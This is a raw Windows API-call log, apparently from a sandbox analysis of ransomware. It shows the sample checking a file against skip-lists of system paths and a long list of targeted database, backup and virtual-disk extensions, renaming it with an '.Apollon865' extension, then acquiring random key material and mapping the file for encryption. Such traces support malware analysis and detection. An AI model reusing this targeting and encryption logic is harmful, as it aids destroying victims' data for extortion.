	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="..") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="perflogs") returned -1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.298] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0081.298] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned 71
	[0081.298] lstrcpyW (in: lpString1=0x119e670, lpString2="ONINTL.DLL.trx_dll" | out: lpString1="ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll"
	[0081.299] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0081.299] lstrlenW (lpString="Apollon865") returned 10
	[0081.299] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.299] lstrlenW (lpString=".dll") returned 4
	[0081.299] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.299] lstrlenW (lpString=".lnk") returned 4
	[0081.299] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.299] lstrlenW (lpString=".ini") returned 4
	[0081.299] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.299] lstrlenW (lpString=".sys") returned 4
	[0081.299] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0081.299] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0081.299] lstrlenW (lpString="bak") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.299] lstrlenW (lpString="ba_") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.299] lstrlenW (lpString="dbb") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.299] lstrlenW (lpString="vmdk") returned 4
	[0081.299] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.299] lstrlenW (lpString="rar") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.299] lstrlenW (lpString="zip") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.299] lstrlenW (lpString="tgz") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.299] lstrlenW (lpString="vbox") returned 4
	[0081.299] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.299] lstrlenW (lpString="vdi") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.299] lstrlenW (lpString="vhd") returned 3
	[0081.299] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.299] lstrlenW (lpString="vhdx") returned 4
	[0081.299] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.299] lstrlenW (lpString="avhd") returned 4
	[0081.299] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.299] lstrlenW (lpString="db") returned 2
	[0081.300] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.300] lstrlenW (lpString="db2") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.300] lstrlenW (lpString="db3") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.300] lstrlenW (lpString="dbf") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.300] lstrlenW (lpString="mdf") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.300] lstrlenW (lpString="mdb") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.300] lstrlenW (lpString="sql") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.300] lstrlenW (lpString="sqlite") returned 6
	[0081.300] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.300] lstrlenW (lpString="sqlite3") returned 7
	[0081.300] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.300] lstrlenW (lpString="sqlitedb") returned 8
	[0081.300] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.300] lstrlenW (lpString="xml") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.300] lstrlenW (lpString="$er") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.300] lstrlenW (lpString="4dd") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.300] lstrlenW (lpString="4dl") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.300] lstrlenW (lpString="^^^") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.300] lstrlenW (lpString="abs") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.300] lstrlenW (lpString="abx") returned 3
	[0081.300] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.300] lstrlenW (lpString="accdb") returned 5
	[0081.300] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.300] lstrlenW (lpString="accdc") returned 5
	[0081.300] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.300] lstrlenW (lpString="accde") returned 5
	[0081.301] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.301] lstrlenW (lpString="accdr") returned 5
	[0081.301] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.301] lstrlenW (lpString="accdt") returned 5
	[0081.301] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.301] lstrlenW (lpString="accdw") returned 5
	[0081.301] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.301] lstrlenW (lpString="accft") returned 5
	[0081.301] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.301] lstrlenW (lpString="adb") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.301] lstrlenW (lpString="adb") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.301] lstrlenW (lpString="ade") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.301] lstrlenW (lpString="adf") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.301] lstrlenW (lpString="adn") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.301] lstrlenW (lpString="adp") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.301] lstrlenW (lpString="alf") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.301] lstrlenW (lpString="ask") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.301] lstrlenW (lpString="btr") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.301] lstrlenW (lpString="cat") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.301] lstrlenW (lpString="cdb") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.301] lstrlenW (lpString="ckp") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.301] lstrlenW (lpString="cma") returned 3
	[0081.301] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.302] lstrlenW (lpString="cpd") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.302] lstrlenW (lpString="dacpac") returned 6
	[0081.302] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.302] lstrlenW (lpString="dad") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.302] lstrlenW (lpString="dadiagrams") returned 10
	[0081.302] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.302] lstrlenW (lpString="daschema") returned 8
	[0081.302] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.302] lstrlenW (lpString="db-journal") returned 10
	[0081.302] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.302] lstrlenW (lpString="db-shm") returned 6
	[0081.302] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.302] lstrlenW (lpString="db-wal") returned 6
	[0081.302] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.302] lstrlenW (lpString="dbc") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.302] lstrlenW (lpString="dbs") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.302] lstrlenW (lpString="dbt") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.302] lstrlenW (lpString="dbv") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.302] lstrlenW (lpString="dbx") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.302] lstrlenW (lpString="dcb") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.302] lstrlenW (lpString="dct") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.302] lstrlenW (lpString="dcx") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.302] lstrlenW (lpString="ddl") returned 3
	[0081.302] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.302] lstrlenW (lpString="dlis") returned 4
	[0081.302] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.303] lstrlenW (lpString="dp1") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.303] lstrlenW (lpString="dqy") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.303] lstrlenW (lpString="dsk") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.303] lstrlenW (lpString="dsn") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.303] lstrlenW (lpString="dtsx") returned 4
	[0081.303] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.303] lstrlenW (lpString="dxl") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.303] lstrlenW (lpString="eco") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.303] lstrlenW (lpString="ecx") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.303] lstrlenW (lpString="edb") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.303] lstrlenW (lpString="epim") returned 4
	[0081.303] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.303] lstrlenW (lpString="fcd") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.303] lstrlenW (lpString="fdb") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.303] lstrlenW (lpString="fic") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.303] lstrlenW (lpString="flexolibrary") returned 12
	[0081.303] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.303] lstrlenW (lpString="fm5") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.303] lstrlenW (lpString="fmp") returned 3
	[0081.303] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.303] lstrlenW (lpString="fmp12") returned 5
	[0081.303] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.303] lstrlenW (lpString="fmpsl") returned 5
	[0081.303] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.304] lstrlenW (lpString="fol") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.304] lstrlenW (lpString="fp3") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.304] lstrlenW (lpString="fp4") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.304] lstrlenW (lpString="fp5") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.304] lstrlenW (lpString="fp7") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.304] lstrlenW (lpString="fpt") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.304] lstrlenW (lpString="frm") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.304] lstrlenW (lpString="gdb") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.304] lstrlenW (lpString="gdb") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.304] lstrlenW (lpString="grdb") returned 4
	[0081.304] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.304] lstrlenW (lpString="gwi") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.304] lstrlenW (lpString="hdb") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.304] lstrlenW (lpString="his") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.304] lstrlenW (lpString="ib") returned 2
	[0081.304] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.304] lstrlenW (lpString="idb") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.304] lstrlenW (lpString="ihx") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.304] lstrlenW (lpString="itdb") returned 4
	[0081.304] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.304] lstrlenW (lpString="itw") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.304] lstrlenW (lpString="jet") returned 3
	[0081.304] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.305] lstrlenW (lpString="jtx") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.305] lstrlenW (lpString="kdb") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.305] lstrlenW (lpString="kexi") returned 4
	[0081.305] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.305] lstrlenW (lpString="kexic") returned 5
	[0081.305] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.305] lstrlenW (lpString="kexis") returned 5
	[0081.305] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.305] lstrlenW (lpString="lgc") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.305] lstrlenW (lpString="lwx") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.305] lstrlenW (lpString="maf") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.305] lstrlenW (lpString="maq") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.305] lstrlenW (lpString="mar") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.305] lstrlenW (lpString="marshal") returned 7
	[0081.305] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.305] lstrlenW (lpString="mas") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.305] lstrlenW (lpString="mav") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.305] lstrlenW (lpString="maw") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.305] lstrlenW (lpString="mdbhtml") returned 7
	[0081.305] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.305] lstrlenW (lpString="mdn") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.305] lstrlenW (lpString="mdt") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.305] lstrlenW (lpString="mfd") returned 3
	[0081.305] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.306] lstrlenW (lpString="mpd") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.306] lstrlenW (lpString="mrg") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.306] lstrlenW (lpString="mud") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.306] lstrlenW (lpString="mwb") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.306] lstrlenW (lpString="myd") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.306] lstrlenW (lpString="ndf") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.306] lstrlenW (lpString="nnt") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.306] lstrlenW (lpString="nrmlib") returned 6
	[0081.306] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.306] lstrlenW (lpString="ns2") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.306] lstrlenW (lpString="ns3") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.306] lstrlenW (lpString="ns4") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.306] lstrlenW (lpString="nsf") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.306] lstrlenW (lpString="nv") returned 2
	[0081.306] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.306] lstrlenW (lpString="nv2") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.306] lstrlenW (lpString="nwdb") returned 4
	[0081.306] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.306] lstrlenW (lpString="nyf") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.306] lstrlenW (lpString="odb") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.306] lstrlenW (lpString="odb") returned 3
	[0081.306] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.306] lstrlenW (lpString="oqy") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.307] lstrlenW (lpString="ora") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.307] lstrlenW (lpString="orx") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.307] lstrlenW (lpString="owc") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.307] lstrlenW (lpString="p96") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.307] lstrlenW (lpString="p97") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.307] lstrlenW (lpString="pan") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.307] lstrlenW (lpString="pdb") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.307] lstrlenW (lpString="pdm") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.307] lstrlenW (lpString="pnz") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.307] lstrlenW (lpString="qry") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.307] lstrlenW (lpString="qvd") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.307] lstrlenW (lpString="rbf") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.307] lstrlenW (lpString="rctd") returned 4
	[0081.307] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.307] lstrlenW (lpString="rod") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.307] lstrlenW (lpString="rodx") returned 4
	[0081.307] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.307] lstrlenW (lpString="rpd") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.307] lstrlenW (lpString="rsd") returned 3
	[0081.307] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.307] lstrlenW (lpString="sas7bdat") returned 8
	[0081.307] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.307] lstrlenW (lpString="sbf") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.308] lstrlenW (lpString="scx") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.308] lstrlenW (lpString="sdb") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.308] lstrlenW (lpString="sdc") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.308] lstrlenW (lpString="sdf") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.308] lstrlenW (lpString="sis") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.308] lstrlenW (lpString="spq") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.308] lstrlenW (lpString="te") returned 2
	[0081.308] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.308] lstrlenW (lpString="teacher") returned 7
	[0081.308] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.308] lstrlenW (lpString="tmd") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.308] lstrlenW (lpString="tps") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.308] lstrlenW (lpString="trc") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.308] lstrlenW (lpString="trc") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.308] lstrlenW (lpString="trm") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.308] lstrlenW (lpString="udb") returned 3
	[0081.308] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.309] lstrlenW (lpString="udl") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.309] lstrlenW (lpString="usr") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.309] lstrlenW (lpString="v12") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.309] lstrlenW (lpString="vis") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.309] lstrlenW (lpString="vpd") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.309] lstrlenW (lpString="vvv") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.309] lstrlenW (lpString="wdb") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.309] lstrlenW (lpString="wmdb") returned 4
	[0081.309] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.309] lstrlenW (lpString="wrk") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.309] lstrlenW (lpString="xdb") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.309] lstrlenW (lpString="xld") returned 3
	[0081.309] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.309] lstrlenW (lpString="xmlff") returned 5
	[0081.309] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.309] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.Apollon865") returned 81
	[0081.309] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.310] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.311] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=31584) returned 1
	[0081.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.311] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.312] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.312] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.312] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e60, lpName=0x0) returned 0x15c
	[0081.314] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e60) returned 0x100000
	[0081.315] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.316] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.316] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
